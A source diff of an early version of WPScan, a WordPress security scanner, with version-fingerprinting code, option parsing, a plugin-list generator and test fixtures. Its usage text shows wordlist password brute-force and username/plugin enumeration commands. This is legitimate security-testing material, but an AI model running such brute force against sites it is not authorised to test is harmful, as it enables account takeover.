# The order in which the find_from_* methods are is important, they will be called in the same order
|
||||
# (find_from_meta_generator, find_from_rss_generator etc)
|
||||
def self.find(target_uri)
|
||||
self.methods.grep(/find_from_/).each do |method_to_call|
|
||||
version = self.send(method_to_call, target_uri)
|
||||
|
||||
if version
|
||||
return new(version, :discovery_method => method_to_call[%r{find_from_(.*)}, 1].gsub('_', ' '))
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Attempts to find the wordpress version from,
|
||||
# the generator meta tag in the html source.
|
||||
#
|
||||
# The meta tag can be removed however it seems,
|
||||
# that it is reinstated on upgrade.
|
||||
def self.find_from_meta_generator(target_uri)
|
||||
response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
|
||||
|
||||
response.body[%r{name="generator" content="wordpress ([^"]+)"}i, 1]
|
||||
end
|
||||
|
||||
def self.find_from_rss_generator(target_uri)
|
||||
response = Browser.instance.get(target_uri.merge("feed/").to_s, :follow_location => true, :max_redirects => 2)
|
||||
|
||||
response.body[%r{<generator>http://wordpress.org/\?v=([^<]+)</generator>}i, 1]
|
||||
end
|
||||
|
||||
# Uses data/wp_versions.xml to try to identify a
|
||||
# wordpress version.
|
||||
#
|
||||
# It does this by using client side file hashing
|
||||
# with a scoring system.
|
||||
#
|
||||
# The scoring system is a number representing
|
||||
# the uniqueness of a client side file across
|
||||
# all versions of wordpress.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# Score - Hash - File - Versions
|
||||
# 1 - 3e63c08553696a1dedb24b22ef6783c3 - /wp-content/themes/twentyeleven/style.css - 3.2.1
|
||||
# 2 - 15fc925fd39bb496871e842b2a754c76 - /wp-includes/js/wp-lists.js - 2.6,2.5.1
|
||||
# 3 - 3f03bce84d1d2a169b4bf4d8a0126e38 - /wp-includes/js/autosave.js - 2.9.2,2.9.1,2.9
|
||||
#
|
||||
# /!\ Warning : this method might return false positive if the file used for fingerprinting is part of a theme (they can be updated)
|
||||
#
|
||||
def self.find_from_advanced_fingerprinting(target_uri)
|
||||
xml = Nokogiri::XML(File.open(DATA_DIR + '/wp_versions.xml')) do |config|
|
||||
config.noblanks
|
||||
end
|
||||
|
||||
xml.xpath("//file").each do |node|
|
||||
file_url = target_uri.merge(node.attribute('src').text).to_s
|
||||
response = Browser.instance.get(file_url)
|
||||
md5sum = Digest::MD5.hexdigest(response.body)
|
||||
|
||||
node.search('hash').each do |hash|
|
||||
if hash.attribute('md5').text == md5sum
|
||||
return hash.search('versions').text
|
||||
end
|
||||
end
|
||||
end
|
||||
nil # Otherwise the data['file'] is returned (issue #107)
|
||||
end
|
||||
|
||||
def self.find_from_readme(target_uri)
|
||||
Browser.instance.get(target_uri.merge("readme.html").to_s).body[%r{<br />\sversion #{WpVersion.version_pattern}}i, 1]
|
||||
end
|
||||
|
||||
# http://code.google.com/p/wpscan/issues/detail?id=109
|
||||
def self.find_from_sitemap_generator(target_uri)
|
||||
Browser.instance.get(target_uri.merge("sitemap.xml").to_s).body[%r{generator="wordpress/#{WpVersion.version_pattern}"}, 1]
|
||||
end
|
||||
|
||||
# Used to check if the version is correct : should be numeric with at least one '.'
|
||||
def self.version_pattern
|
||||
'(.*(?=.)(?=.*\d)(?=.*[.]).*)'
|
||||
end
|
||||
end
|
||||
27
lib/wpscan/wp_vulnerability.rb
Normal file
27
lib/wpscan/wp_vulnerability.rb
Normal file
@@ -0,0 +1,27 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class WpVulnerability
|
||||
attr_accessor :title, :reference, :type
|
||||
|
||||
def initialize(title, reference, type)
|
||||
@title = title
|
||||
@reference = reference
|
||||
@type = type
|
||||
end
|
||||
end
|
||||
67
lib/wpscan/wpscan_helper.rb
Normal file
67
lib/wpscan/wpscan_helper.rb
Normal file
@@ -0,0 +1,67 @@
|
||||
require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
|
||||
|
||||
require_files_from_directory(WPSCAN_LIB_DIR, "**/*.rb")
|
||||
|
||||
# wpscan usage
|
||||
def usage()
|
||||
script_name = $0
|
||||
puts "--help or -h for further help."
|
||||
puts
|
||||
puts "Examples :"
|
||||
puts
|
||||
puts "-Do 'non-intrusive' checks ..."
|
||||
puts "ruby #{script_name} --url www.example.com"
|
||||
puts
|
||||
puts "-Do wordlist password brute force on enumerated users using 50 threads ..."
|
||||
puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --threads 50"
|
||||
puts
|
||||
puts "-Do wordlist password brute force on the 'admin' username only ..."
|
||||
puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --username admin"
|
||||
puts
|
||||
puts "-Enumerate instaled plugins ..."
|
||||
puts "ruby #{script_name} --url www.example.com --enumerate p"
|
||||
puts
|
||||
puts "-Use a proxy ..."
|
||||
puts "ruby #{script_name} --url www.example.com --proxy 127.0.0.1:8118"
|
||||
puts
|
||||
puts "-Use custom content directory ..."
|
||||
puts "ruby #{script_name} -u www.example.com --wp-content-dir custom-content"
|
||||
puts
|
||||
puts "-Update ..."
|
||||
puts "ruby #{script_name} --update"
|
||||
puts
|
||||
puts "See README for further information."
|
||||
puts
|
||||
end
|
||||
|
||||
# command help
|
||||
def help()
|
||||
puts "Help :"
|
||||
puts
|
||||
puts "Some values are settable in conf/browser.conf.json :"
|
||||
puts " user-agent, proxy, threads, cache timeout and request timeout"
|
||||
puts
|
||||
puts "--update Update to the latest revision"
|
||||
puts "--url | -u <target url> The WordPress URL/domain to scan."
|
||||
puts "--force | -f Forces WPScan to not check if the remote site is running WordPress."
|
||||
puts "--enumerate | -e [option(s)] Enumeration."
|
||||
puts " option :"
|
||||
puts " u usernames from id 1 to 10"
|
||||
puts " u[10-20] usernames from id 10 to 20 (you must write [] chars)"
|
||||
puts " p plugins"
|
||||
puts " p! only vulnerable plugins"
|
||||
puts " t timthumbs"
|
||||
puts " Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins"
|
||||
puts " If no option is supplied, the default is 'tup!'"
|
||||
puts
|
||||
puts "--follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not"
|
||||
puts "--wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed"
|
||||
puts "--wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed"
|
||||
puts "--proxy Supply a proxy in the format host:port (will override the one from conf/browser.conf.json)"
|
||||
puts "--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute."
|
||||
puts "--threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)"
|
||||
puts "--username | -U <username> Only brute force the supplied username."
|
||||
puts "--help | -h This help screen."
|
||||
puts "--verbose | -v Verbose output."
|
||||
puts
|
||||
end
|
||||
204
lib/wpscan/wpscan_options.rb
Normal file
204
lib/wpscan/wpscan_options.rb
Normal file
@@ -0,0 +1,204 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
class WpscanOptions
|
||||
|
||||
ACCESSOR_OPTIONS = [
|
||||
:enumerate_plugins,
|
||||
:enumerate_only_vulnerable_plugins,
|
||||
:enumerate_timthumbs,
|
||||
:enumerate_usernames,
|
||||
:enumerate_usernames_range,
|
||||
:proxy,
|
||||
:threads,
|
||||
:url,
|
||||
:wordlist,
|
||||
:force,
|
||||
:update,
|
||||
:verbose,
|
||||
:username,
|
||||
:password,
|
||||
:follow_redirection,
|
||||
:wp_content_dir,
|
||||
:wp_plugins_dir,
|
||||
:help
|
||||
]
|
||||
|
||||
attr_accessor *ACCESSOR_OPTIONS
|
||||
|
||||
def initialize
|
||||
|
||||
end
|
||||
|
||||
def url=(url)
|
||||
raise "Empty URL given" if !url
|
||||
|
||||
@url = URI.parse(add_http_protocol(url)).to_s
|
||||
end
|
||||
|
||||
def threads=(threads)
|
||||
@threads = threads.is_a?(Integer) ? threads : threads.to_i
|
||||
end
|
||||
|
||||
def wordlist=(wordlist)
|
||||
if File.exists?(wordlist)
|
||||
@wordlist = wordlist
|
||||
else
|
||||
raise "The file #{wordlist} does not exist"
|
||||
end
|
||||
end
|
||||
|
||||
def proxy=(proxy)
|
||||
if proxy.index(':') == nil
|
||||
raise "Invalid proxy format. Should be host:port."
|
||||
else
|
||||
@proxy = proxy
|
||||
end
|
||||
end
|
||||
|
||||
def enumerate_plugins=(enumerate_plugins)
|
||||
if enumerate_plugins === true and @enumerate_only_vulnerable_plugins === true
|
||||
raise "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one"
|
||||
else
|
||||
@enumerate_plugins = enumerate_plugins
|
||||
end
|
||||
end
|
||||
|
||||
def enumerate_only_vulnerable_plugins=(enumerate_only_vulnerable_plugins)
|
||||
if enumerate_only_vulnerable_plugins === true and @enumerate_plugins === true
|
||||
raise "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one"
|
||||
else
|
||||
@enumerate_only_vulnerable_plugins = enumerate_only_vulnerable_plugins
|
||||
end
|
||||
end
|
||||
|
||||
def has_options?
|
||||
!to_h.empty?
|
||||
end
|
||||
|
||||
# return Hash
|
||||
def to_h
|
||||
options = {}
|
||||
|
||||
ACCESSOR_OPTIONS.each do |option|
|
||||
instance_variable = instance_variable_get("@#{option}")
|
||||
|
||||
unless instance_variable.nil?
|
||||
options[:"#{option}"] = instance_variable
|
||||
end
|
||||
end
|
||||
options
|
||||
end
|
||||
|
||||
# Will load the options from ARGV
|
||||
# return WpscanOptions
|
||||
def self.load_from_arguments
|
||||
wpscan_options = WpscanOptions.new
|
||||
|
||||
if ARGV.length > 0
|
||||
WpscanOptions.get_opt_long.each do |opt, arg|
|
||||
wpscan_options.set_option_from_cli(opt, arg)
|
||||
end
|
||||
end
|
||||
|
||||
wpscan_options
|
||||
end
|
||||
|
||||
# string cli_option : --url, -u, --proxy etc
|
||||
# string cli_value : the option value
|
||||
def set_option_from_cli(cli_option, cli_value)
|
||||
|
||||
if WpscanOptions.is_long_option?(cli_option)
|
||||
self.send(
|
||||
WpscanOptions.option_to_instance_variable_setter(cli_option),
|
||||
cli_value
|
||||
)
|
||||
elsif cli_option === "--enumerate" # Special cases
|
||||
# Default value if no argument is given
|
||||
cli_value = "tup!" if cli_value.length == 0
|
||||
|
||||
enumerate_options_from_string(cli_value)
|
||||
else
|
||||
raise "Unknow option : #{cli_option} with value #{cli_value}"
|
||||
end
|
||||
end
|
||||
|
||||
# Will set enumerate_* from the string value
|
||||
# IE : if value = p! => :enumerate_only_vulnerable_plugins will be set to true
|
||||
# multiple enumeration are possible : 'up' => :enumerate_usernames and :enumerate_plugins
|
||||
# Special case for usernames, a range is possible : u[1-10] will enumerate usernames from 1 to 10
|
||||
def enumerate_options_from_string(value)
|
||||
# Usage of self is mandatory because there are overridden setters
|
||||
self.enumerate_only_vulnerable_plugins = true if value =~ /p!/
|
||||
|
||||
self.enumerate_plugins = true if value =~ /p(?!!)/
|
||||
|
||||
@enumerate_timthumbs = true if value =~ /t/
|
||||
|
||||
if value =~ /u/
|
||||
@enumerate_usernames = true
|
||||
# Check for usernames range
|
||||
if matches = %r{\[([\d]+)-([\d]+)\]}.match(value)
|
||||
@enumerate_usernames_range = (matches[1].to_i..matches[2].to_i)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
protected
|
||||
# Even if a short option is given (IE : -u), the long one will be returned (IE : --url)
|
||||
def self.get_opt_long
|
||||
GetoptLong.new(
|
||||
["--url", "-u", GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--enumerate", "-e", GetoptLong::OPTIONAL_ARGUMENT],
|
||||
["--username", "-U", GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--wordlist", "-w", GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--threads", "-t",GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--force", "-f",GetoptLong::NO_ARGUMENT],
|
||||
["--help", "-h", GetoptLong::NO_ARGUMENT],
|
||||
["--verbose", "-v", GetoptLong::NO_ARGUMENT] ,
|
||||
["--proxy", GetoptLong::OPTIONAL_ARGUMENT],
|
||||
["--update", GetoptLong::NO_ARGUMENT],
|
||||
["--follow-redirection", GetoptLong::NO_ARGUMENT],
|
||||
["--wp-content-dir", GetoptLong::REQUIRED_ARGUMENT],
|
||||
["--wp-plugins-dir", GetoptLong::REQUIRED_ARGUMENT]
|
||||
)
|
||||
end
|
||||
|
||||
def self.is_long_option?(option)
|
||||
ACCESSOR_OPTIONS.include?(:"#{WpscanOptions.clean_option(option)}")
|
||||
end
|
||||
|
||||
# Will removed the '-' or '--' chars at the beginning of option
|
||||
# and replace any remaining '-' by '_'
|
||||
#
|
||||
# param string option
|
||||
# return string
|
||||
def self.clean_option(option)
|
||||
cleaned_option = option.gsub(/^--?/, '')
|
||||
cleaned_option.gsub(/-/, '_')
|
||||
end
|
||||
|
||||
def self.option_to_instance_variable_setter(option)
|
||||
cleaned_option = WpscanOptions.clean_option(option)
|
||||
option_syms = ACCESSOR_OPTIONS.grep(%r{^#{cleaned_option}})
|
||||
|
||||
option_syms.length == 1 ? :"#{option_syms.at(0)}=" : nil
|
||||
end
|
||||
|
||||
end
|
||||
128
lib/wpstools/generate_plugin_list.rb
Normal file
128
lib/wpstools/generate_plugin_list.rb
Normal file
@@ -0,0 +1,128 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
# This tool generates a plugin list to use for plugin enumeration
|
||||
|
||||
class Generate_Plugin_List
|
||||
|
||||
attr_accessor :pages, :verbose
|
||||
|
||||
def initialize(pages, verbose)
|
||||
@pages = pages.to_i
|
||||
@verbose = verbose
|
||||
@browser = Browser.instance
|
||||
@hydra = @browser.hydra
|
||||
end
|
||||
|
||||
# Send a HTTP request to the WordPress most popular plugins webpage
|
||||
# parse the response for the plugin names.
|
||||
|
||||
def parse_plugins
|
||||
|
||||
found_plugins = []
|
||||
page_count = 1
|
||||
queue_count = 0
|
||||
|
||||
(1...@pages).each do |page|
|
||||
|
||||
request = @browser.forge_request('http://wordpress.org/extend/plugins/browse/popular/page/'+page.to_s+'/')
|
||||
|
||||
queue_count += 1
|
||||
|
||||
request.on_complete do |response|
|
||||
puts "[+] Parsing page " + page_count.to_s if @verbose
|
||||
page_count += 1
|
||||
response.body.scan(%r{<h3><a href="http://wordpress.org/extend/plugins/(.*)/">.+</a></h3>}i).each do |plugin|
|
||||
found_plugins << plugin[0]
|
||||
end
|
||||
end
|
||||
|
||||
@hydra.queue(request)
|
||||
|
||||
if queue_count == @browser.max_threads
|
||||
@hydra.run
|
||||
queue_count = 0
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@hydra.run
|
||||
|
||||
found_plugins.uniq
|
||||
end
|
||||
|
||||
# Use the WordPress plugin SVN repo to find a
|
||||
# valid plugin file. This will cut down on
|
||||
# false positives. See issue 39.
|
||||
|
||||
def parse_plugin_files(plugins)
|
||||
|
||||
plugins_with_paths = ""
|
||||
queue_count = 0
|
||||
|
||||
plugins.each do |plugin|
|
||||
|
||||
request = @browser.forge_request('http://plugins.svn.wordpress.org/' + plugin + '/trunk/')
|
||||
|
||||
request.on_complete do |response|
|
||||
|
||||
puts "[+] Parsing plugin " + plugin + " [" + response.code.to_s + "]" if @verbose
|
||||
file = response.body[%r{<li><a href="(\d*?[a-zA-Z].*\..*)">.+</a></li>}i, 1]
|
||||
if file
|
||||
plugin += "/" + file
|
||||
end
|
||||
|
||||
plugins_with_paths << plugin + "\n"
|
||||
end
|
||||
|
||||
queue_count += 1
|
||||
@hydra.queue(request)
|
||||
|
||||
# the wordpress server stops
|
||||
# responding if we dont use this.
|
||||
if queue_count == @browser.max_threads
|
||||
@hydra.run
|
||||
queue_count = 0
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@hydra.run
|
||||
|
||||
plugins_with_paths
|
||||
end
|
||||
|
||||
# Save the file
|
||||
|
||||
def save_file
|
||||
begin
|
||||
plugins = parse_plugins
|
||||
puts "[*] We have parsed " + plugins.size.to_s
|
||||
plugins_with_paths = parse_plugin_files(plugins)
|
||||
File.open(DATA_DIR + '/plugins.txt', 'w') { |f| f.write(plugins_with_paths) }
|
||||
puts "New data/plugin.txt file created with " + plugins_with_paths.scan(/\n/).size.to_s + " entries."
|
||||
rescue => e
|
||||
puts "ERROR: Something went wrong :( " + e.inspect
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
28
lib/wpstools/wpstools_helper.rb
Normal file
28
lib/wpstools/wpstools_helper.rb
Normal file
@@ -0,0 +1,28 @@
|
||||
require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
|
||||
|
||||
require_files_from_directory(WPSTOOLS_LIB_DIR)
|
||||
|
||||
def usage()
|
||||
script_name = $0
|
||||
puts
|
||||
puts "-h for further help."
|
||||
puts
|
||||
puts "Examples:"
|
||||
puts
|
||||
puts "- Generate a new 'most popular' plugin list, up to 150 pages ..."
|
||||
puts "ruby " + script_name + " --generate_plugin_list 150"
|
||||
puts
|
||||
puts "See README for further information."
|
||||
puts
|
||||
end
|
||||
|
||||
def help()
|
||||
puts "Help :"
|
||||
puts
|
||||
puts "--help | -h This help screen."
|
||||
puts "--Verbose | -v Verbose output."
|
||||
puts "--update | -u Update to the latest revision."
|
||||
puts "--generate_plugin_list [number of pages] Generate a new data/plugins.txt file. (supply number of *pages* to parse, default : 150)"
|
||||
puts "--gpl Alias for --generate_plugin_list"
|
||||
puts
|
||||
end
|
||||
7
spec/fixtures/conf/browser/browser.conf.json
vendored
Normal file
7
spec/fixtures/conf/browser/browser.conf.json
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0",
|
||||
"user_agent_mode": "static",
|
||||
"cache_timeout": 300,
|
||||
"request_timeout": 2000,
|
||||
"max_threads": 5
|
||||
}
|
||||
7
spec/fixtures/conf/browser/browser.conf_proxy.json
vendored
Normal file
7
spec/fixtures/conf/browser/browser.conf_proxy.json
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:10.0) Gecko/20100101 Firefox/11.0",
|
||||
"user_agent_mode": "static",
|
||||
"proxy": "127.0.0.1:3038",
|
||||
"cache_timeout": 300,
|
||||
"request_timeout": 2000
|
||||
}
|
||||
0
spec/fixtures/empty-file
vendored
Normal file
0
spec/fixtures/empty-file
vendored
Normal file
171
spec/fixtures/wp_versions/0.71-gold/layout2b.css
vendored
Executable file
171
spec/fixtures/wp_versions/0.71-gold/layout2b.css
vendored
Executable file
@@ -0,0 +1,171 @@
|
||||
/* Default WordPress by Matthew Mullenweg http://photomatt.net
|
||||
This is just a basic layout, with only the bare minimum defined.
|
||||
Please tweak this and make it your own. :)
|
||||
*/
|
||||
|
||||
a {
|
||||
color: #069;
|
||||
}
|
||||
|
||||
a:visited {
|
||||
color: #039;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #39c;
|
||||
}
|
||||
|
||||
acronym, abbr {
|
||||
border-bottom: 1px dashed #333;
|
||||
}
|
||||
|
||||
acronym, abbr, span.caps {
|
||||
cursor: help;
|
||||
font-size: 90%;
|
||||
letter-spacing: .07em;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
border-left: 5px solid #ccc;
|
||||
margin-left: 1.5em;
|
||||
padding-left: 5px;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: Georgia, "Times New Roman", Times, serif;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
h2 {
|
||||
border-bottom: 2px solid #ccc;
|
||||
margin-bottom: 2px;
|
||||
}
|
||||
|
||||
p, li {
|
||||
line-height: 130%;
|
||||
}
|
||||
|
||||
.b2calendarcell {
|
||||
color: #000;
|
||||
}
|
||||
|
||||
.b2calendaremptycell {
|
||||
}
|
||||
|
||||
.b2calendarheadercell {
|
||||
background: #808080;
|
||||
color: #ccc;
|
||||
}
|
||||
|
||||
.b2calendarlinkpost {
|
||||
color: #f00;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.b2calendarmonth {
|
||||
color: #aaa;
|
||||
}
|
||||
|
||||
.b2calendarrow {
|
||||
color: #0f0;
|
||||
}
|
||||
|
||||
.b2calendartable {
|
||||
background: #fff;
|
||||
border: 1px solid #000;
|
||||
}
|
||||
|
||||
.b2calendartoday {
|
||||
color: #00f;
|
||||
}
|
||||
|
||||
.credit {
|
||||
font-size: 11px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.feedback {
|
||||
text-align: right;
|
||||
color: #ccc;
|
||||
}
|
||||
|
||||
.meta, .meta a {
|
||||
color: #808080;
|
||||
font-size: small;
|
||||
}
|
||||
|
||||
.storytitle a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#content {
|
||||
margin: 0 160px 0 20px;
|
||||
}
|
||||
|
||||
#header {
|
||||
background-color: #808080;
|
||||
margin: 0;
|
||||
padding-left: 10px;
|
||||
}
|
||||
|
||||
#header a {
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#header a:hover {
|
||||
color: #ccc;
|
||||
}
|
||||
|
||||
#menu {
|
||||
background-color: #000;
|
||||
border-left: 3px solid #666;
|
||||
padding-bottom: 10px;
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 65px;
|
||||
width: 150px;
|
||||
}
|
||||
|
||||
#menu form {
|
||||
margin: 0 0 0 13px;
|
||||
}
|
||||
|
||||
#menu input {
|
||||
background-color: #ccc;
|
||||
border: 2px solid #666;
|
||||
}
|
||||
|
||||
#menu ul {
|
||||
color: #ccc;
|
||||
font-variant: small-caps;
|
||||
font-weight: bold;
|
||||
list-style-type: none;
|
||||
margin: 0;
|
||||
padding-left: 3px;
|
||||
}
|
||||
|
||||
#menu ul ul {
|
||||
font-variant: normal;
|
||||
font-weight: normal;
|
||||
line-height: 100%;
|
||||
list-style-type: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
#menu ul ul li {
|
||||
line-height: 115%;
|
||||
padding-left: 12px;
|
||||
}
|
||||
|
||||
#menu ul ul li a {
|
||||
color: #fff;
|
||||
height: 13px;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
#menu ul ul li a:hover {
|
||||
border-bottom: 1px solid #ccc;
|
||||
}
|
||||
995
spec/fixtures/wp_versions/0.71-gold/readme.html
vendored
Executable file
995
spec/fixtures/wp_versions/0.71-gold/readme.html
vendored
Executable file
@@ -0,0 +1,995 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>WordPress > ReadMe</title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
|
||||
<style>
|
||||
<!--
|
||||
body {
|
||||
font-family: Georgia, "Times New Roman", Times, serif;
|
||||
margin-left: 15%;
|
||||
margin-right: 15%;
|
||||
}
|
||||
p, li {
|
||||
line-height: 135%;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
h1 {
|
||||
font-size: 18px;
|
||||
font-weight: lighter;
|
||||
color: #006;
|
||||
}
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
}
|
||||
.params {
|
||||
border-color: #cccccc;
|
||||
border-width: 1px;
|
||||
border-style: solid;
|
||||
padding: 5px;
|
||||
margin: 5px;
|
||||
margin-left: 20px;
|
||||
margin-right: 80px;
|
||||
font-family: arial,helvetica,sans-serif;
|
||||
font-size:12px;
|
||||
}
|
||||
ul, ol { margin: 0px; padding: 0px; padding-left: 20px; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; }
|
||||
-->
|
||||
</style>
|
||||
|
||||
</head>
|
||||
|
||||
<body bgcolor="#FFFFFF" text="#000000">
|
||||
<table width="600" border="0" cellspacing="0" cellpadding="0" align="center">
|
||||
<tr>
|
||||
<td> <p align="center"><img src="http://wordpress.org/images/wordpress.gif" alt="WordPress" /><br />
|
||||
<font size="2" face="Georgia, Times New Roman, Times, serif">0.71</font></p>
|
||||
<p align="center">Weblog / News Publishing Tool</p>
|
||||
<p align="center"><a href="#requirements">Requirements</a> - <a href="#installation">Installation</a>
|
||||
- <a href="#templates">Template(s)</a> - <a href="#usage">Query String
|
||||
Usage</a> - <a href="#xmlrpc">XML-RPC (Blogger API)</a> - <a href="#postviaemail">Post
|
||||
Via Email</a> - <a href="#notes">Notes</a></p>
|
||||
<a name="requirements"></a> <h1>Requirements:</h1>
|
||||
<ul>
|
||||
<li><strong>PHP4</strong> (version 4.0.6 or higher)</li>
|
||||
<li><strong>MySQL</strong> (version 3.23.23 or higher)</li>
|
||||
<li>Perl (optional - only for the spellchecker)</li>
|
||||
<li>... and a link to <a href="http://wordpress.org" target="_blank">http://wordpress.org</a>
|
||||
on your site.</li>
|
||||
</ul>
|
||||
<p>The link will help promote <a href="http://wordpress.org">WordPress</a>
|
||||
and is its only mean of promotion. </p>
|
||||
<p>WordPress is built from b2, which comes from Michel V. We wouldn't be
|
||||
here without him, so why don't you grab him something from his <a href="http://www.amazon.com/exec/obidos/registry-address-select-done/1XKLC38KDUPXR/103-8901342-4908609">wishlist</a>?</p>
|
||||
<p>This document is currently beta stage, we'll be updating it extensively
|
||||
as WordPress matures.</p>
|
||||
<h1 id="installation">Installation:</h1>
|
||||
<h2>New users: 5-minute install.</h2>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Open b2config.php in a text editor, and modify the variables as explained
|
||||
in the comments. Comments are lines that start with # or /* or //</li>
|
||||
<li>Upload everything. This release is designed to sit in your root folder,
|
||||
IE the folder where your WordPress-powered page will reside.</li>
|
||||
<li>CHMOD 666 the <code>weblogs.com.changes.cache</code> file.</li>
|
||||
<li> Launch <a href="wp-admin/wp-install.php">wp-install.php</a> in your
|
||||
browser. This should setup the MySQL database for your blog. If there
|
||||
is an error, double check your b2config.php file, and try again. If
|
||||
it fails again, please go to the <a href="http://wordpress.org/support/">support
|
||||
forums</a> and make a post with all the information about the failure
|
||||
(error messages, etc), and your setup (the PHP and MySQL versions on
|
||||
your server, and the browser you were using). <strong>Note the password
|
||||
given to you.</strong></li>
|
||||
<li> Go to <a href="b2login.php">b2login.php</a> and sign in with the
|
||||
login "admin" and the password given to you by the install
|
||||
script. Then click on the menu 'My Profile', and change the password.
|
||||
Note: you need javascript enabled to launch the profile popup window.</li>
|
||||
</ol>
|
||||
<h2>Some notes:</h2>
|
||||
<ul>
|
||||
<li>Whenever you want to post something, just open a browser and go to
|
||||
b2login.php to log in and post.</li>
|
||||
<li>You can also use a bookmarklet and/or a sidebar (IE5+/NS6+) to post.</li>
|
||||
<li> You can also post through the Blogger API, <a href="#xmlrpc">click
|
||||
here</a> for more info.</li>
|
||||
<li> Your site's blog is on b2.php (simple template) and index.php (CSS
|
||||
template), you can rename this file to index.php or any other name you
|
||||
fancy (provided it bears the php extension or is interpreted as a php
|
||||
file by your server).</li>
|
||||
<li> You can also copy b2.php into a new file and modify that new file,
|
||||
it will work too ;)</li>
|
||||
</ul>
|
||||
<h2>Users upgrading from b2 v0.6.1 to WordPress v0.7:</h2>
|
||||
<ul>
|
||||
<li>All you <em>really</em> have to do is replace all the files with newer
|
||||
versions and run <a href="javascript:window.close()">b2-2-wp.php</a>
|
||||
and you should be ready to go.</li>
|
||||
<li>If you're using an older version of b2, it's probably a good idea
|
||||
to upgrade to at least .6.1 before making the leap to WordPress.</li>
|
||||
<li>The templates are so much better, and there is so much more going
|
||||
on than before it's probably worth it to start from scratch and work
|
||||
